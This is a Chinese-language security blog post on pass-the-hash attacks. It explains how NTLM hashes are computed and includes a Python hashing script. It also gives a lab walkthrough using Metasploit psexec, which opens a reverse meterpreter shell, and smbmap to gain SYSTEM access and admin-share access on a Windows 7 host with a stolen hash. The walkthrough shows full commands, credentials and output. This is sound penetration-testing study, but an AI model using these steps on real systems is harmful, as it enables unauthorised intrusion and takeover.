hash传递攻击研究

0x00 前言

记得还是在17年11月份的时候,ice老师当时在shepi群里分享了两个技巧,记忆最深的一句话是:

“服务器密码解不出来,不用解了,用hash登录”,当时的自己还是停留在web的程度,没有过多的思考,

最近想起来了就研究一下为什么这么说。

0x01 NTLM-Hash

什么是ntlm-hash?

在Windows操作系统中,早期都是使用的LM-hash用于储存密码,但是因为LM使用了固定的key也就是*KGS!@#$%*,并且加密过程也存在一定的破解性,所以微软开发了ntlm-hash,用于替代lm-hash。

xp 2003 win7 2008 2012
LM-hash
NTLM-hash

在win7、2008、2102等之后的系统中,均是采用了NTLM-hash进行储存密码。

NTLM-HASH生成过程为:

  1. 将输入的明文密码转换为十六进制字符串(转成hex格式)
  2. 然后将十六进制字符串进行Unicode转换(每两个字符后添加00),但是数据格式为hex。
  3. 将Unicode转换后的数据进行MD4加密,结果即为ntlm-hash值。

转换为十六进制字符串 shiyan —-> 73686979616e
转化为Unicode字符串 73686979616e —-> 730068006900790061006e00
使用MD4消息摘要算法 730068006900790061006e00 —-> c1028ef7ad02bf9c597916b67990f620

下面是我写的小脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@author:shiyan
@file:ntlm-hash-tool.py
@time:2019/5/19
'''

import re
import hashlib
import binascii

def NTLM_HASH(password):
password = password
hex1 = password.encode('hex')
# print hex1
unicode1=re.findall(r'.{2}',hex1)
unicode2='00'.join(unicode1)
unicode3 = unicode2 + '00'
# print unicode3
unicode4 = binascii.a2b_hex(unicode3)
ntlm_hash = hashlib.new('md4',unicode4).hexdigest()
print ntlm_hash

if __name__ == '__main__':
a = 'shiyan'
NTLM_HASH(a)

0x02 Net-NTLM-Hash

net-ntlm-hash并不是一个标准的术语,它是指在NTLM认证中,进行效验对比的hash,这个hash值是在原有的ntlm-hash值行进行一定的算法产生。

NTLM认证协议是NT LAN Manager的缩写,这也说明了协议的来源。NTLM 是 Windows NT 早期版本的标准安全协议,Windows 2000 支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。

NTLM认证流程如下:

  1. Client 向 Server 发送一个请求,请求中带有明文的 username ,server会判断本地Sam是否存储请求中的账号信息。
  2. 在Server接受到这个请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回Client。Server本身会使用请求中username在Server本地对应储存的ntlm-hash加密Challenge,获得Challenge1。
  3. Client接收到Challenge后,使用username所对应的password(此处的密码为ntlm-hash值)对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给Server。
  4. Server接收到Client发送的response后,会效验是否和本地生成的Challenge1一致,如果一致,则认证通过。

0x03 SMB中的hash传递

SMB可以直接基于TCP协议或者NetBIOS over TCP,SMB的认证可以基于SMB,也可以基于kerberos,,这两种认证方式,前者本质上使用了hash,后者本质上使用了ticket,导致了SMB的PtH和PtT攻击存在的基础。

目前常用的hash传递工具都是通过445端口进行攻击的,也是因为smb使用了ntml认证,所以导致可以hash传递。

0x04 hash传递本地测试

哈希传递攻击的适用场景为不知道账号明文密码的前提下, 进行渗透攻击。

哈希传递的本质不算是一个漏洞,最多算是一个认证缺陷,或者也算不上。

测试场景:

攻击机:kali,192.168.3.121;win10,192.168.3.111。

目标机:win7,192.168.3.123。

工具:metasploit:psexec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as


Exploit target:

Id Name
-- ----
0 Automatic


msf5 exploit(windows/smb/psexec) > set rhosts 192.168.3.123
rhosts => 192.168.3.123
msf5 exploit(windows/smb/psexec) > set smbuser L
smbuser => L
msf5 exploit(windows/smb/psexec) > set smbpass 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
smbpass => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
msf5 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.3.121:4444
[*] 192.168.3.123:445 - Connecting to the server...
[*] 192.168.3.123:445 - Authenticating to 192.168.3.123:445 as user 'L'...
[*] 192.168.3.123:445 - Selecting PowerShell target
[*] 192.168.3.123:445 - Executing the payload...
[+] 192.168.3.123:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.3.123
[*] Meterpreter session 1 opened (192.168.3.121:4444 -> 192.168.3.123:1264) at 2019-05-14 09:56:43 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 4608 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>ipconfig
ipconfig

Windows IP ����


��̫�������� ��������:

�����ض��� DNS ��׺ . . . . . . . :
IPv4 ��ַ . . . . . . . . . . . . : 192.168.3.123
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . : 192.168.3.1

���������� isatap.{A3A2D3C1-50F0-4F78-94F2-89A05E10AE08}:

ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�
�����ض��� DNS ��׺ . . . . . . . :

���������� ��������* 2:

ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�
�����ض��� DNS ��׺ . . . . . . . :

C:\Windows\system32>

工具:smbmap.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
F:\smbmap>python2 smbmap.py -u "L" -p "44EFCE164AB921CAAAD3B435B51404EE:
32ED87BDB5FDC5E9CBA88547376818D4" -H 192.168.3.123
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 192.168.3.123...
[+] IP: 192.168.3.123:445 Name: L-PC
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
HP Universal Printing PCL 5 NO ACCESS
IPC$ NO ACCESS
print$ READ, WRITE
Users READ, WRITE

F:\smbmap>

0x05 番外

本地2003,2008各种传递失败,然后我各种配置啊,各种调试,尤其是2003,各种配置完还是不行,提示各种错误,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
E:\python2 run.py
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[!] Authentication error occured
[!] SMB SessionError: STATUS_ACCOUNT_RESTRICTION(Indicates a referenced user name and authentication information are val
id, but some user account restriction has prevented successful authentication (such as time-of-day restrictions).)
[!] Authentication error on 192.168.43.145

E:\python2 run.py
[+] Finding open SMB ports....
[!] Authentication error occured
[!] The NETBIOS connection with the remote host timed out.
[!] Authentication error on 192.168.3.119


说多了都是泪。。。。

0x06 参考链接

http://payloads.online/archivers/2018-11-30/1

https://www.cnblogs.com/KevinGeorge/p/9508820.html

https://www.freebuf.com/articles/terminal/80186.html

https://www.cnblogs.com/KevinGeorge/p/9455196.html

https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/


hash传递攻击研究
https://sh1yan.top/2019/05/19/Hash-Passing-Attack-explore/
作者
shiyan
发布于
2019年5月19日
许可协议